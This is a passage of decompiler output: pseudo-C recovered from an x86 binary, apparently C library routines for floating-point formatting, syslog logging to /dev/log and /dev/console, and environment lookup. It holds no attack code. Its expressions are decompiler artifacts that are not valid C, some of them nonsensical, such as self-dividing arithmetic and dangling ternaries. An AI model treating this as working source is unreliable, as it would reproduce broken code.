Vffffffb4 = 0; ecx = 28 - esi; Vffffffb8 = 10 << cl; } } edx = Vffffffe8 + 3; Vffffff5c = edx; if(edi < Vffffff5c) { goto L080540b3; } != ? 0x80542d6 : ; ecx = ebx * 4 + Vffffffd0; Vffffff5c = ecx; eax = *(ecx - 4); Vffffff60 = eax; if(Vffffffb8 > Vffffff60) { goto L080540b3; } != ? 0x80542d6 : ; if(Vffffffb4 > *(ecx - 8)) { L080540b3: Vffffffe8 = Vffffffe8 - edi; Vffffff94 = Vffffff94 | 1 << Vffffff90; if(Vffffffe8 < 0) { esi = esi - Vffffffe8; } edi = 0; eax = Vffffffd0; Vffffff5c = eax; if(*eax == 0) { Vffffff60 = eax; Vffffff5c = 0; do { Vffffff5c = Vffffff5c + 4; edi = edi + 1; ecx = Vffffff60; } while(*(ecx + Vffffff5c) == 0); } if(esi != 31) { eax = edi * 4; edx = Vffffffd0; Vffffff5c = edx; asm("bsf ecx,[edx+eax]"); Vffffff60 = ecx; if(edi != 0) { if(Vffffff60 >= 31 - esi) { goto L0805429b; } (save)31 - esi; ebx = ebx + 1 - edi; (save)ebx; eax = edi * 4 + -4; } else { if(31 - esi > ecx) { goto L0805425d; } L0805429b: (save)31 - esi; ebx = ebx - edi; (save)ebx; eax = edi * 4; } (save)eax + Vffffffd0; (save)Vffffffe0; L08059FB0(); Vffffffdc = ebx; goto L080542d3; L0805425d: esi = esi + 1; Vffffff64 = esi; (save)Vffffff64; (save)ebx; (save)edx; (save)Vffffffe0; esi = L08058710(); Vffffffd8 = esi; Vffffffdc = ebx + 1; *(ebx * 4 + 4 + Vffffffe0 - 4) = esi; L080542d3: esp = esp + 16; } else { eax = ebx - edi; Vffffff64 = eax; if(eax > 0) { Vffffff5c = Vffffffe0; ecx = edi * 4; Vffffff60 = ecx; esi = 0; Vffffff6c = eax << 2; Vffffff64 = edx; if(edx = Vffffff64 & 3) { goto L080541ba; } if(edx > 1) { if(edx > 2) { ecx = *(ecx + Vffffffd0); *Vffffff5c = ecx; Vffffff60 = Vffffff60 + 4; esi = 4; } *(Vffffff5c + esi) = *(Vffffff60 + Vffffffd0); Vffffff60 = Vffffff60 + 4; esi = esi + 4; } *(Vffffff5c + esi) = *(Vffffff60 + Vffffffd0); Vffffff60 = Vffffff60 + 4; esi = esi + 4; if(Vffffff6c != esi) { L080541ba: Vffffff5c = Vffffff5c + esi; do { edx = Vffffff5c; *edx = *(Vffffff60 + Vffffffd0); *(edx + 4) = *(Vffffff60 + Vffffffd0 + 4); eax = Vffffff5c; *(eax + 8) = *(Vffffff60 + Vffffffd0 + 8); *(eax + 12) = *(Vffffff60 + Vffffffd0 + 12); Vffffff60 = Vffffff60 + 16; Vffffff5c = eax + 16; esi = esi + 16; } while(Vffffff6c != esi); } } Vffffffdc = ebx - edi; } } } Vffffff90 = Vffffff90 - 1; if(Vffffff8c == 0x8068dbc) { break; } } while(Vffffffe8 > 0); if(Vffffffe8 > 0) { Vffffffd8 = L08058DE0(Vffffffd0, Vffffffe0, Vffffffdc, 10); ebx = Vffffffdc; eax = Vffffffd0; asm("bsf esi,[eax]"); if(Vffffffe8 <= 4) { if(Vffffffe8 > esi) { goto L0805432d; } goto L08054364; } if(esi <= 3) { L0805432d: esi = 28; if(Vffffffe8 <= 4) { esi = 32 - Vffffffe8; } esi = L08058710(Vffffffe0, Vffffffd0, ebx, esi); Vffffffd8 = esi; if(esi != 0) { *(Vffffffe0 + ebx * 4) = esi; ebx = ebx + 1; } } else { L08054364: esi = 4; if(Vffffffe8 <= 4) { esi = Vffffffe8; } L08059FB0(Vffffffe0, Vffffffd0, ebx, esi); } Vffffffdc = ebx; Vffffff94 = Vffffff94 | 1; } Vffffffe8 = Vffffff94; } else { ebx = L08058710(Vffffffe0, & Vffffffbc, Vffffffdc, Vffffffa8 + Vffffffe8); Vffffffd8 = ebx; ecx = Vffffffdc << 2; Vffffff60 = ecx; *(Vffffffe0 + Vffffff60) = Vffffffd8; Vffffffdc = Vffffffdc + 1; Vffffffe8 = 0; } } Vffffff88 = *(Ac + 4); Vffffff80 = 0; Vffffff78 = 0; ecx = Ac; ebx = *(ecx + 8) & 255; if(*( *L08078FA4 + ebx * 4) == 101) { Vffffffec = ebx; Vffffff84 = 1; esi = *ecx; if(esi < 0) { esi = 6; } Vffffff7c = esi; ebx = esi + 8; goto L08054466; } edx = Ac; if(*(edx + 8) == 102) { Vffffffec = 102; esi = *edx; if(esi < 0) { esi = 6; } Vffffff7c = esi; if(Vfffffff0 == 0) { Vffffff84 = Vffffffe8 + 1; ebx = esi + 2 + Vffffffe8; } else { Vffffff84 = 1; ebx = esi + 2; } L08054466: Vffffff74 = 2147483647; Vffffff70 = 1; } else { edx = Ac; if(*edx >= 0) { ecx = *edx; Vffffff74 = ecx; if(Vffffff74 == 0) { Vffffff74 = 1; } } else { Vffffff74 = 6; } if(Vfffffff0 == 0) { if(Vffffffe8 >= Vffffff74) { goto L080544c6; } goto L08054500; } if(Vffffffe8 > 4) { L080544c6: ebx = 101; if(!( *( *L08078FA0 + ( *(Ac + 8) & 255) * 2 + 1) & 1)) { ebx = 69; } Vffffffec = ebx; esi = Vffffff74 - 1; Vffffff84 = 1; ebx = Vffffff74 + 7; } else { L08054500: Vffffffec = 102; Vffffff84 = 0; if(Vfffffff0 == 0) { Vffffff84 = Vffffffe8 + 1; } esi = Vffffff74 - Vffffff84; ebx = Vffffff74 + Vffffff74 + 1; } Vffffff7c = 0; if(*(Ac + 24) != 0) { Vffffff7c = esi; } Vffffff70 = 0; } if(Vffffffb0 != 0) { ebx = ebx + L08054C28(Vffffff84, Vffffffb0, Vffffffc8); } esp = esp - (ebx + 5 & 252); edi = & A166; ebx = edi; if(Vfffffff0 != 0 && Vffffffec == 102) { goto L08054644; } ecx = Vffffff84; if(Vffffff80 < ecx) { Vffffff5c = eax; if(eax = ecx - Vffffff80 & 3) { goto L080545dc; } if(eax > 1) { if(eax > 2) { Vffffff80 = Vffffff80 + 1; ecx = ebp; L080531DC(); *ebx = al; ebx = ebx + 1; } Vffffff80 = Vffffff80 + 1; ecx = ebp; L080531DC(); *ebx = al; ebx = ebx + 1; } Vffffff80 = Vffffff80 + 1; ecx = ebp; L080531DC(); *ebx = al; ebx = ebx + 1; if(Vffffff80 < Vffffff84) { L080545dc: do { ecx = ebp; L080531DC(); *ebx = al; ecx = ebp; L080531DC(); *(ebx + 1) = al; ecx = ebp; L080531DC(); *(ebx + 2) = al; Vffffff80 = Vffffff80 + 4; ecx = ebp; L080531DC(); *(ebx + 3) = al; ebx = ebx + 4; } while(Vffffff80 < Vffffff84); } } Vffffff70 = 1; if(*(Ac + 24) == 0 && Vffffff7c <= 0) { if(esi <= 0) { goto L08054651; } if(Vffffffdc <= 1) { if(*Vffffffe0 == 0) { goto L08054651; } goto L0805464b; L08054644: *ebx = 48; ebx = ebx + 1; Vffffffe8 = Vffffffe8 - 1; } } L0805464b: *ebx = Vffffffcc; ebx = ebx + 1; L08054651: if(Vffffff78 >= Vffffff7c) { if(Vffffff78 >= esi) { goto L080546c8; } L08054668: if(Vffffffdc <= 1 && *Vffffffe0 == 0) { goto L080546c8; } } do { Vffffff78 = Vffffff78 + 1; ecx = ebp; L080531DC(); *ebx = al; if(al == 48) { if(Vffffff70 == 0) { esi = esi + 1; if(Vffffff7c > 0) { Vffffff7c = Vffffff7c + 1; } } } else { Vffffff70 = 1; } ebx = ebx + 1; } while(Vffffff78 < Vffffff7c); if(Vffffff78 < esi) { goto L08054668; } L080546c8: ecx = ebp; L080531DC(); esi = al & 255; if(esi > 52) { Vffffff5c = ebx; if(esi != 53 || Vffffffdc != 1 || *Vffffffe0 != 0) { goto L080546fe; } if(!( *(ebx - 1) & 1)) { L080546fe: if(Vffffff78 > 0) { Vffffff5c = Vffffff5c - 1; if(Vffffffcc != ( *Vffffff5c & 255)) { do { eax = Vffffff5c; if(*eax != 57) { break; } *eax = 48; eax = eax - 1; Vffffff5c = eax; } while(Vffffffcc != ( *Vffffff5c & 255)); if(Vffffffcc != ( *Vffffff5c & 255)) { *Vffffff5c = *Vffffff5c + 1; } } } if(Vffffff78 == 0) { goto L0805476a; } if(Vffffffcc == ( *Vffffff5c & 255)) { L0805476a: if(Vffffffcc == ( *(Vffffff5c - 1) & 255)) { Vffffff5c = Vffffff5c - 1; } Vffffff5c = Vffffff5c - 1; if(Vffffff5c >= edi) { edx = edi - 1; esi = edx - Vffffff5c & 3; if(Vffffff5c > edx) { if(esi == 0) { goto L08054800; } if(esi < 3) { if(esi < 2) { eax = Vffffff5c; if(*eax != 57) { goto L08054846; } *eax = 48; Vffffff5c = eax - 1; } edx = Vffffff5c; if(*edx != 57) { goto L08054846; } *edx = 48; Vffffff5c = edx - 1; } } ecx = Vffffff5c; if(*ecx != 57) { goto L08054846; } *ecx = 48; ecx = ecx - 1; Vffffff5c = ecx; if(Vffffff5c >= edi) { L08054800: do { eax = Vffffff5c; if(*eax != 57) { break; } *eax = 48; eax = eax - 1; Vffffff5c = eax; if(*eax != 57) { break; } *eax = 48; eax = eax - 1; Vffffff5c = eax; if(*eax != 57) { break; } *eax = 48; eax = eax - 1; Vffffff5c = eax; if(*eax != 57) { break; } *eax = 48; eax = eax - 1; Vffffff5c = eax; } while(Vffffff5c >= edi); L08054846: if(Vffffff5c >= edi) { *Vffffff5c = *Vffffff5c + 1; goto L08054914; } } } if(Vffffffec != 102) { *edi = 49; esi = Vfffffff0 == 0 ? Vffffffe8 + 1 : Vffffffe8 - 1; Vffffffe8 = esi; } else { if(Vffffff80 == Vffffff74) { edi = edi - 1; al = Vffffffcc; *edi = al; edi = edi - 1; *edi = 49; if(*(Ac + 24) != 0 || Vffffff78 > 0) { *(edi + Vffffff80 + 2) = 48; Vffffff78 = Vffffff78 + 1; } Vffffff78 = Vffffff78 + Vffffff80; Vffffff80 = 1; Vffffffe8 = Vffffffe8 + 1; esi = 101; if(!( *( *L08078FA0 + ( *(Ac + 8) & 255) * 2 + 1) & 1)) { esi = 69; } Vffffffec = esi; } else { edi = edi - 1; *edi = 49; Vffffff80 = Vffffff80 + 1; } } esi = Vffffff80 + Vffffff78; if(Vffffff74 < esi) { eax = esi - Vffffff74; ebx = ebx - eax; Vffffff78 = Vffffff78 - eax; } } } } L08054914: do { if(*(ebx - 1) != 48) { break; } ebx = ebx - 1; Vffffff78 = Vffffff78 - 1; } while(Vffffff78 > Vffffff7c); if(Vffffff78 == 0 && *(Ac + 24) == 0 && Vffffffcc == ( *(ebx - 1) & 255)) { ebx = ebx - 1; } if(Vffffffb0 != 0) { ebx = L08054C7C(edi, ebx, Vffffff80, Vffffffb0, Vffffffc8); } if(Vffffffec != 102) { *ebx = Vffffffec; ebx = ebx + 1; esi = ebx; ebx = ebx + 1; Vffffff5c = 43; if(Vfffffff0 != 0) { Vffffff5c = 45; } al = Vffffff5c; *esi = al; Vffffff60 = 10; do { Vffffff60 = Vffffff60 + Vffffff60 + Vffffff60 * 8; } while(Vffffffe8 >= Vffffff60); if(Vffffffe8 <= 9) { *ebx = 48; ebx = ebx + 1; } else { do { eax = Vffffff60; ecx = 10; asm("cdq"); edx = ecx / ecx % ecx / ecx; Vffffff60 = eax; eax = Vffffffe8; asm("cdq"); Vffffff60 = Vffffff60 / Vffffff60; edx = Vffffff60 % Vffffff60; esi = eax; al = al + 48; *ebx = al; ebx = ebx + 1; eax = Vffffffe8; asm("cdq"); Vffffff60 = Vffffff60 / Vffffff60; Vffffffe8 = Vffffff60 % Vffffff60; } while(Vffffff60 > 10); } cl = Vffffffe8 + 48; *ebx = cl; ebx = ebx + 1; } if(Vffffffc4 == 0) { eax = Ac; if(*(eax + 36) == 0 && *(eax + 28) == 0) { goto L08054a4a; } } Vffffff88 = Vffffff88 - 1; L08054a4a: Vffffff88 = Vffffff88 - ebx - edi; ecx = Ac; if(*(ecx + 32) == 0 && *(ecx + 44) != 48 && Vffffff88 > 0) { if(Vffffff88 != L08062534(A8, *(ecx + 44) & 255, Vffffff88)) { goto L08054bd6; } Vffffffa4 = Vffffffa4 + Vffffff88; } if(Vffffffc4 != 0) { ecx = A8; if(*(ecx + 24) <= *(A8 + 20)) { (save)45; (save)ecx; L08054aa3: esp = esp + 8; if(L08061910() == -1) { goto L08054bd6; } goto L08054b27; } *( *(A8 + 20)) = 45; *(A8 + 20) = *(A8 + 20) + 1; goto L08054b27; } if(*(Ac + 36) != 0) { edx = A8; if(*(edx + 24) <= *(A8 + 20)) { (save)43; (save)edx; goto L08054aa3; } *( *(A8 + 20)) = 43; *(A8 + 20) = *(A8 + 20) + 1; goto L08054b27; } if(*(Ac + 28) != 0) { eax = A8; if(*(eax + 24) <= *(A8 + 20)) { (save)32; (save)eax; goto L08054aa3; } *( *(A8 + 20)) = 32; *(A8 + 20) = *(A8 + 20) + 1; L08054b27: Vffffffa4 = Vffffffa4 + 1; } eax = Ac; if(*(eax + 32) == 0 && *(eax + 44) == 48 && Vffffff88 > 0) { if(Vffffff88 != L08062534(A8, 48, Vffffff88)) { goto L08054bd6; } Vffffffa4 = Vffffffa4 + Vffffff88; } ebx = ebx - edi; if(ebx > 20) { if(*( *( *(A8 + 80) + 52))(A8, edi, ebx) == ebx) { Vffffffa4 = Vffffffa4 + ebx; goto L08054bea; } L08054bd6: eax = -1; goto L08054c1b; } while(1) { eax = ebx; ebx = ebx - 1; if(eax == 0) { break; } esi = *edi & 255; edi = edi + 1; ecx = A8; if(*(ecx + 24) > *(A8 + 20)) { ecx = esi; Vffffff60 = cl; *( *(A8 + 20)) = cl; *(A8 + 20) = *(A8 + 20) + 1; if((Vffffff60 & 255) != -1) { goto L08054be0; } else { goto L08054bd6; } } esi = esi & 255; Vffffff64 = esi; if(L08061910(ecx, Vffffff64) == -1) { goto L08054bd6; } L08054be0: Vffffffa4 = Vffffffa4 + 1; } L08054bea: ecx = Ac; if(*(ecx + 32) != 0 && Vffffff88 > 0) { if(Vffffff88 != L08062534(A8, *(ecx + 44) & 255, Vffffff88)) { goto L08054bd6; } Vffffffa4 = Vffffffa4 + Vffffff88; } } eax = Vffffffa4; L08054c1b: esp = ebp + -356; } /* Procedure: 0x08054C28 - 0x08054C7B * Argument size: 8 * Local size: 4 * Save regs size: 8 */ L08054C28(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void Vfffffffc; ecx = A8; edx = Ac; if(*edx == 255 || *edx == 0) { eax = 0; goto L08054c73; L08054c44: Vfffffffc = *(edx - 1) & 255; eax = ecx; edx = 0; Vfffffffc = Vfffffffc / Vfffffffc; edx = Vfffffffc % Vfffffffc; ebx = ebx + eax; } else { ebx = 0; do { esi = *edx & 255; if(ecx <= esi) { goto L08054c71; } ebx = ebx + 1; ecx = ecx - esi; edx = edx + 1; if(*edx == 255) { goto L08054c71; } } while(*edx != 0); goto L08054c44; } L08054c71: eax = ebx; L08054c73: esp = ebp - 12; } /* Procedure: 0x08054C7C - 0x08054DB6 * Argument size: 20 * Local size: 4 * Save regs size: 12 */ L08054C7C(A8, Ac, A10, A14, A18) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffffc; esi = A10; edi = A14; (save)A18; eax = L08054C28(esi, edi); Vfffffffc = eax; if(Vfffffffc == 0) { eax = Ac; } else { ebx = A8 + esi; ebx = ebx + Vfffffffc; L08056570(ebx, ebx, Ac - ebx); edx = ebx - 1; do { ecx = *edi & 255; edi = edi + 1; eax = ~ecx & 3; if(ecx > 0) { if(eax == 0) { goto L08054d00; } if(eax < 3) { if(eax < 2) { esi = esi - 1; *edx = *(esi + A8); edx = edx - 1; ecx = ecx - 1; } esi = esi - 1; *edx = *(esi + A8); edx = edx - 1; ecx = ecx - 1; } } esi = esi - 1; *edx = *(esi + A8); edx = edx - 1; if(!(ecx = ecx - 1)) { L08054d00: do { ebx = A8; *edx = *(ebx + esi - 1); *(edx - 1) = *(ebx + esi - 2); *(edx - 2) = *(ebx + esi - 3); esi = esi + -4; *(edx - 3) = *(esi + ebx); edx = edx + -4; } while(ecx = ecx + -4); } *edx = A18; edx = edx - 1; if(*edi == 255) { break; } if(*edi == 0) { edi = edi - 1; } } while(esi > ( *edi & 255)); eax = A8 - edx & 3; if(A8 < edx) { if(eax == 0) { goto L08054d80; } if(eax < 3) { if(eax < 2) { esi = esi - 1; *edx = *(esi + A8); edx = edx - 1; } esi = esi - 1; *edx = *(esi + A8); edx = edx - 1; } } esi = esi - 1; ebx = A8; *edx = *(esi + ebx); edx = edx - 1; if(edx > ebx) { L08054d80: do { ebx = A8; *edx = *(ebx + esi - 1); *(edx - 1) = *(ebx + esi - 2); *(edx - 2) = *(ebx + esi - 3); esi = esi + -4; *(edx - 3) = *(esi + ebx); edx = edx + -4; } while(edx > ebx); } eax = Ac + Vfffffffc; } esp = ebp - 16; } /* Procedure: 0x08054DB7 - 0x08054DB7 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08054DB7() { } /* Procedure: 0x08054DB8 - 0x08054DED * Argument size: 4 * Local size: 0 * Save regs size: 0 */ L08054DB8(A8) /* unknown */ void A8; { if(A8 == 0) { L08054dc2: *L08078B14 = 22; return; } eax = *A8 & -65536; if(eax != -72548352) { goto L08054dc2; } return(L0806267C(A8, 0, 0, 3)); } /* Procedure: 0x08054DEE - 0x08054DEF * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08054DEE() { } /* Procedure: 0x08054DF0 - 0x08054E08 * Argument size: 8 * Local size: 0 * Save regs size: 0 */ L08054DF0(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { return(L080626C8(A8, Ac, 1024)); } /* Procedure: 0x08054E09 - 0x08054E52 * Argument size: 12 * Local size: 0 * Save regs size: 0 */ L08054E09(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { if(A8 <= 255) { *L0807888C = 0x807a858; *(A8 * 4 + 0x807e78c) = A10; *(A8 * 4 + 0x807a858) = Ac; return(0); } *L08078B14 = 22; esp = ebp; return(-1); } /* Procedure: 0x08054E53 - 0x08054E53 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08054E53() { } /* Procedure: 0x08054E54 - 0x08054EAC * Argument size: 0 * Local size: 4 * Save regs size: 4 */ L08054E54(A8) /* unknown */ void A8; { eax = L08057160( *L08078894); *L08078894 = -1; *L0807AC58 = 0; if(A8 != 0) { *L08078898 = 0; *L0807889C = "syslog"; *L080788A0 = 8; *L080788A4 = 255; } } /* Procedure: 0x08054EAD - 0x08054EAF * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08054EAD() { } /* Procedure: 0x08054EB0 - 0x08054EC7 * Argument size: 12 * Local size: 0 * Save regs size: 0 */ L08054EB0(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { return(L08054EC8(A8, Ac, & A10)); } /* Procedure: 0x08054EC8 - 0x080552AD * Argument size: 12 * Local size: 3108 * Save regs size: 12 */ L08054EC8(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffff3dc; /* unknown */ void Vfffff3e0; /* unknown */ void Vfffff3e4; /* unknown */ void Vfffff3e8; /* unknown */ void Vfffff3ec; /* unknown */ void Vfffff3f0; /* unknown */ void Vfffff3f4; /* unknown */ void Vfffff3f8; /* unknown */ void Vfffff3fc; /* unknown */ void Vfffff400; /* unknown */ void Vfffff7fe; /* unknown */ void Vfffff7ff; /* unknown */ void Vfffff800; esi = A8; Vfffff3e4 = *L08078B14; ecx = esi & 7; eax = *L080788A4 >> cl; if(!(al & 1) && !(esi & -1024)) { if(*L08078894 < 0 || *L0807AC58 == 0) { L080552B0( *L0807889C, *L08078898 | 8, 0); } if(!(esi & 1016)) { esi = esi | *L080788A0; } ebx = & Vfffff3fc; (save)ebx; L08057444(); (save)ebx; (save)L0805B548() + 4; (save)esi; (save)"<%d>%.15s "; (save)2048; ebx = & Vfffff800; (save)ebx; L08062888(); esi = ebx; esp = esp + 28; if(Vfffff800 != 0) { do { esi = esi + 1; } while(*esi != 0); } if(!( *L08078898 & 32)) { Vfffff3e0 = esi; } if(*L0807889C != 0) { L08056640(esi, *L0807889C); do { esi = esi + 1; } while(*esi != 0); } if(!( *L08078898 & 1)) { L08062888(esi, ebp - esi, "[%d]", L08057230()); do { esi = esi + 1; } while(*esi != 0); } if(*L0807889C != 0) { *esi = 58; esi = esi + 1; *esi = 32; esi = esi + 1; *esi = 0; } ebx = & Vfffff400; goto L08055108; L08055044: L080553A0( & Vfffff800, 2048, "[truncated] "); if(*esi != 0) { do { esi = esi + 1; } while(*esi != 0); goto L0805511b; L080550b9: L080553A0( & Vfffff800, 2048, "[truncated] "); do { esi = esi + 1; } while(*esi != 0); if(*ebx != 0) { do { ebx = ebx + 1; } while(*ebx != 0); goto L0805511b; L08055108: while(1) { dl = *Ac; Vfffff3dc = dl; if(Vfffff3dc == 0 || ebx >= & Vfffff7ff) { goto L0805511b; } if(Vfffff3dc == 37) { edx = Ac; if(*(edx + 1) == 37) { goto L0805502e; } if(Vfffff3dc == 37) { edx = Ac; if(*(edx + 1) == 109) { goto L08055087; } } } *ebx = Vfffff3dc; ebx = ebx + 1; goto L08055105; L08055087: Ac = edx + 1; edi = ebp - ebx + -2048; eax = L08062888(ebx, edi, "%s", L080566A4(), Vfffff3e4); if(eax == -1 || eax > edi) { goto L080550b9; } if(*ebx != 0) { do { ebx = ebx + 1; } while(*ebx != 0); goto L08055105; L0805502e: if(ebx >= & Vfffff7fe) { goto L08055044; } *ebx = 37; ebx = ebx + 1; *ebx = 37; ebx = ebx + 1; Ac = edx + 1; } L08055105: Ac = Ac + 1; } } } L0805511b: *ebx = 0; if(Vfffff3dc != 0) { L080553A0( & Vfffff800, 2048, "[truncated] "); do { esi = esi + 1; } while(*esi != 0); } edi = ebp - esi; eax = L080628A8(esi, edi, & Vfffff400, A10); if(eax == -1 || eax > edi) { L080553A0( & Vfffff800, 2048, "[truncated] "); } while(*esi != 0) { esi = esi + 1; } eax = & Vfffff800; Vfffff3e8 = esi - eax; if(!( *L08078898 & 32)) { edx = Vfffff3e0; Vfffff3ec = edx; eax = Vfffff3ec - eax; Vfffff3f0 = Vfffff3e8 - eax; Vfffff3f4 = "\n"; Vfffff3f8 = 1; L08056E70(2, & Vfffff3ec, 2); } esi = & Vfffff800; ebx = Vfffff3e8 + esi; do { eax = L080573E8( *L08078894, esi, ebx - esi + 1); if(eax < 0) { if(*L08078B14 != 11 && *L08078B14 != 4) { goto L0805522c; } eax = 0; } esi = esi + eax; } while(esi <= ebx); goto L0805523e; L0805522c: eax = L08054E54(0); L0805523e: if(esi <= ebx && !( *L08078898 & 2)) { eax = L080572DC("/dev/console", 1, 0); edi = eax; if(edi >= 0) { (save)"\r\n"; ebx = & Vfffff800; (save)ebx; L080577C0(); Vfffff3e8 = Vfffff3e8 + 2; (save)62; (save)ebx; esi = L08057970() + 1; eax = esi - ebx; L080573E8(); eax = L08057160(edi, edi, esi, Vfffff3e8 - eax); } } } esp = ebp + -3120; } /* Procedure: 0x080552AE - 0x080552AF * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080552AE() { } /* Procedure: 0x080552B0 - 0x08055370 * Argument size: 8 * Local size: 4 * Save regs size: 4 */ L080552B0(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void edi; ecx = Ac; eax = A10; if(A8 != 0) { *L0807889C = A8; } *L08078898 = ecx; if(eax != 0 && !(eax & -1017)) { *L080788A0 = eax; } if(*L08078894 == -1) { *L0807AC5C = 1; eax = L0805680C(0x807ac5e, "/dev/log", 14); if(!( *L08078898 & 8)) { eax = L08056CF4(1, 1, 0); *L08078894 = eax; if(eax == -1) { goto L0805536a; } } if(*L08078894 == -1) { goto L0805536a; } } if(*L0807AC58 == 0) { al = 0; edi = 0x807ac5e; asm("cld"); ecx = -1; asm("repne scasb"); eax = L08056ABC( *L08078894, 0x807ac5c, !ecx + 1); if(eax != -1) { *L0807AC58 = 1; } } L0805536a: } /* Procedure: 0x08055371 - 0x08055381 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08055371() { return(L08054E54(1)); } /* Procedure: 0x08055382 - 0x0805539C * Argument size: 4 * Local size: 0 * Save regs size: 0 */ L08055382(A8) /* unknown */ void A8; { eax = *L080788A4; if(A8 != 0) { *L080788A4 = A8; } } /* Procedure: 0x0805539D - 0x0805539F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0805539D() { } /* Procedure: 0x080553A0 - 0x080555AD * Argument size: 12 * Local size: 4 * Save regs size: 12 */ L080553A0(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffffc; if(A8 != 0 && A10 != 0) { al = 0; edi = A10; asm("cld"); ecx = -1; asm("repne scasb"); eax = !ecx; edi = eax - 1; if(edi != 0) { ebx = A8; if(*ebx == 60) { edx = *(ebx + 1) & 255; if(!( *( *L08078FA0 + edx * 2 + 1) & 8)) { if(*(ebx + 2) == 62) { ebx = ebx + 3; } else { edx = *(ebx + 2) & 255; if(!( *( *L08078FA0 + edx * 2 + 1) & 8)) { if(*(ebx + 3) == 62) { ebx = ebx + 4; } else { edx = *(ebx + 3) & 255; if(!( *( *L08078FA0 + edx * 2 + 1) & 8) && *(ebx + 4) == 62) { ebx = ebx + 5; } } } } } } eax = *ebx & 255; edx = *L08078FA0; if(!( *(edx + eax * 2 + 1) & 4) && !( *(edx + ( *(ebx + 1) & 255) * 2 + 1) & 4) && !( *(edx + ( *(ebx + 2) & 255) * 2 + 1) & 4) && *(ebx + 3) == 32) { if(*(ebx + 4) == 32) { goto L0805547a; } if(!( *(edx + ( *(ebx + 4) & 255) * 2 + 1) & 8)) { L0805547a: eax = *(ebx + 5) & 255; edx = *L08078FA0; if(!( *(edx + eax * 2 + 1) & 8) && *(ebx + 6) == 32 && !( *(edx + ( *(ebx + 7) & 255) * 2 + 1) & 8) && !( *(edx + ( *(ebx + 8) & 255) * 2 + 1) & 8) && *(ebx + 9) == 58 && !( *(edx + ( *(ebx + 10) & 255) * 2 + 1) & 8) && !( *(edx + ( *(ebx + 11) & 255) * 2 + 1) & 8) && *(ebx + 12) == 58 && !( *(edx + ( *(ebx + 13) & 255) * 2 + 1) & 8) && !( *(edx + ( *(ebx + 14) & 255) * 2 + 1) & 8) && *(ebx + 15) == 32) { ebx = ebx + 16; } } } eax = ebx - A8; esi = Ac - eax; Vfffffffc = esi; eax = Vfffffffc - 1; if(edi >= eax) { (save)eax; (save)ebx; (save)A10; eax = L08056480(); *(ebx + Vfffffffc - 1) = 0; } else { eax = L08056450(ebx, A10, edi); if(eax != 0) { *(ebx + Vfffffffc - 1 - edi) = 0; ecx = L08057970(ebx, 0); if(ecx >= ebx) { edx = ebx - 1; eax = edx - ecx & 3; if(ecx > edx) { if(eax == 0) { goto L08055578; } if(eax < 3) { if(eax < 2) { *(edi + ecx) = *ecx; ecx = ecx - 1; } *(edi + ecx) = *ecx; ecx = ecx - 1; } } *(edi + ecx) = *ecx; ecx = ecx - 1; if(ecx >= ebx) { L08055578: do { *(edi + ecx) = *ecx; *(edi + ecx - 1) = *(ecx - 1); *(edi + ecx - 2) = *(ecx - 2); *(edi + ecx - 3) = *(ecx - 3); ecx = ecx + -4; } while(ecx >= ebx); } } eax = L08056480(A10, ebx, edi); } } } } esp = ebp - 16; } /* Procedure: 0x080555AE - 0x080555AF * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080555AE() { } /* Procedure: 0x080555B0 - 0x080555F8 * Argument size: -4 * Local size: 8 * Save regs size: 0 */ L080555B0(A8) /* unknown */ void A8; { /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; eax = A8; edx = 0; edx = 1000000 / 1000000 % 1000000 / 1000000; Vfffffff8 = eax; edx = (eax << 5) - eax; eax = ((edx << 6) - edx << 3) + Vfffffff8 << 6; Vfffffffc = A8 - eax; return(L080574A0(1, 0, 0, 0, & Vfffffff8)); } /* Procedure: 0x080555F9 - 0x080555FB * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080555F9() { } /* Procedure: 0x080555FC - 0x08055666 * Argument size: -32756 * Local size: -32768 * Save regs size: 0 */ L080555FC(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { (save)ebx; ebx = A8; eax = Ac; *(ebp + -32768) = eax; ecx = & A10; edx = 1; if(eax != 0) { do { if(edx > 8191) { goto L08055628; } ecx = ecx + 4; *(ebp + edx * 4 + -32768) = *(ecx - 4); eax = edx; edx = edx + 1; } while(*(ebp + eax * 4 + -32768) != 0); goto L0805564a; L08055628: eax = 7; } else { L0805564a: eax = L080571B8(ebx, ebp + -32768, *L0806D228); } ebx = *(ebp + -32772); } /* Procedure: 0x08055667 - 0x08055667 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08055667() { } /* Procedure: 0x08055668 - 0x080556C3 * Argument size: 4 * Local size: 0 * Save regs size: 12 */ L08055668(A8) /* unknown */ void A8; { /* unknown */ void ebx; /* unknown */ void edi; al = 0; edi = A8; asm("cld"); ecx = -1; asm("repne scasb"); edi = !ecx - 1; ebx = *L0806D228; if(*ebx != 0) { do { if(L08057B04( *ebx, A8, edi) == 0 && *(edi + *ebx) == 61) { goto L080556ac; } ebx = ebx + 4; } while(*ebx != 0); goto L080556b8; L080556ac: eax 